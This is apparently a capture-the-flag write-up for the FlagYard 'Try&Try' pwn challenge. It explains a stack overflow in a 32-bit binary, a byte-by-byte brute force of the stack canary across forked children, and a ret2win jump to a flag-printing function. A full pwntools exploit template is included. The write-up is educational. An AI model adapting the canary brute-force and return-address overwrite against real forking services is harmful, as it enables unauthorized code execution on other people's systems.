Logo

Writeup

Try&Try FlagYard — Writeup

0 0xAsta
January 29, 2026
4 min read
pwn binary stack-overflow canary ret2win

Try&Try Challenge — Writeup

This writeup explains how to solve the Try&Try pwn challenge. The binary is a 32-bit ELF with stack canary and NX enabled, but PIE is disabled. The goal is to reach the win() function which executes /bin/cat flag.

Challenge Interface

Summary

We get a classic stack overflow in a line-by-line input loop. The binary has a stack canary, so we cannot just smash the return address. The trick is:

  1. Locate the overflow in vuln().
  2. Bypass the canary using byte-by-byte brute force.
  3. Ret2win to win() (PIE is off, so the address is stable).

The process forks in a loop, which makes the canary stable across attempts within the same connection, enabling a reliable brute force.

Binary Protections (checksec)

  • Arch: i386 (32-bit)
  • Canary: enabled
  • NX: enabled
  • PIE: disabled
  • RELRO: partial

PIE is off, so the win() address is fixed.

Vulnerability Analysis

Where the overflow happens

In the decompiled vuln():

char var_50[0x40];
...
while (i <= 0x1ff) {
read(0, &var_55, 1);
if (var_55 == '\n') break;
var_50[i] = var_55; // no bounds check
i++;
}

var_50 is only 0x40 bytes, but the loop allows up to 0x200 bytes. This overwrites the stack canary, saved registers, and return address.

Stack layout (important offsets)

From the function prologue and the buffer location:

  • var_50 at [ebp - 0x4c]
  • Canary at [ebp - 0x0c]

So the offset from the buffer start:

  • Buffer to canary: 0x40
  • Canary size: 4
  • Then 4 bytes of padding (between canary and saved ebx)
  • Saved ebx: 4
  • Saved ebp: 4
  • Return address: next 4 bytes

Payload layout:

'A' * 0x40
<canary>
'B' * 4 (padding)
'C' * 4 (saved ebx)
'D' * 4 (saved ebp)
<win addr>

Canary Bypass

Why brute force works

The program does this:

while (true) {
pid = fork();
if (!pid) break; // child runs vuln()
waitpid(...);
puts("bye.");
}

Because of fork(), the child inherits the same stack canary as the parent. That means the canary is stable across attempts in the same connection. We can brute force it byte-by-byte:

  1. Send 0x40 bytes + guessed canary prefix.
  2. If the canary is wrong, we see *** stack smashing detected ***.
  3. If it is correct, the program returns normally and continues.

Important detail: newline byte

Input is read one byte at a time and stops on 0x0a ('\n'). So the brute force must skip 0x0a in guesses, otherwise the loop stops before overwriting the canary, causing false positives.

Ret2win

The binary has a win() function:

int win() {
system("/bin/cat flag");
}

With PIE disabled, the address is fixed (from nm -n):

08049206 T win

After the canary is known, overwrite the return address with 0x08049206.

End-to-End Strategy

  1. Connect to the service.
  2. Wait for Input:.
  3. Brute force the canary byte-by-byte (skip 0x0a).
  4. Send final payload with:
    • 0x40 bytes padding
    • full canary
    • 4 bytes padding
    • saved ebx
    • saved ebp
    • win() address
  5. Read the output to get the flag.

Solver Template (no addresses)

Below is a template solver that includes all important logic but leaves addresses/offsets blank. Fill them in from your own analysis.

#!/usr/bin/env python3
from pwn import *
HOST = "tcp.flagyard.com"
PORT = 00000
context.binary = ELF("./chall", checksec=False)
context.log_level = "info"
# --- fill these ---
BUF_SZ = 0x00 # offset to canary (e.g., 0x40)
RET2WIN = 0x00000000 # address of win()
PAD_BETWEEN = 0x00 # bytes between canary and saved regs
SAVED_EBX = 0x00 # usually 4
SAVED_EBP = 0x00 # usually 4
PROMPT = b"Input: "
SMASH = b"stack smashing detected"
def recv_prompt(io):
return io.recvuntil(PROMPT)
def send_line(io, data):
io.send(data + b"\n")
return io.recvuntil(PROMPT)
def brute_canary(io):
canary = b"\x00"
for _ in range(3):
for b in range(256):
if b == 0x0a:
continue
guess = canary + bytes([b])
payload = b"A" * BUF_SZ + guess
out = send_line(io, payload)
if SMASH not in out:
canary = guess
break
else:
raise RuntimeError("canary brute failed")
out = send_line(io, b"A" * BUF_SZ + canary)
if SMASH in out:
raise RuntimeError("canary verify failed")
return canary
def build_payload(canary):
payload = b"A" * BUF_SZ
payload += canary
payload += b"B" * PAD_BETWEEN
payload += b"C" * SAVED_EBX
payload += b"D" * SAVED_EBP
payload += p32(RET2WIN)
return payload
def exploit():
io = remote(HOST, PORT)
recv_prompt(io)
canary = brute_canary(io)
log.success(f"canary: {canary.hex()}")
io.send(build_payload(canary) + b"\n")
try:
data = io.recvall(timeout=2.0)
if data:
print(data.decode(errors="ignore"))
except EOFError:
pass
if __name__ == "__main__":
exploit()

Notes

  • Decompiled code is from dogbolt.org so some values must not be the same for you
  • NX enabled means no shellcode; ret2win is the intended path.
  • PIE disabled makes the win() address stable.
  • Canary is per-process, but fork makes it stable for a session.
  • The read loop is byte-based, so avoid sending 0x0a inside the canary.

Final Result

Result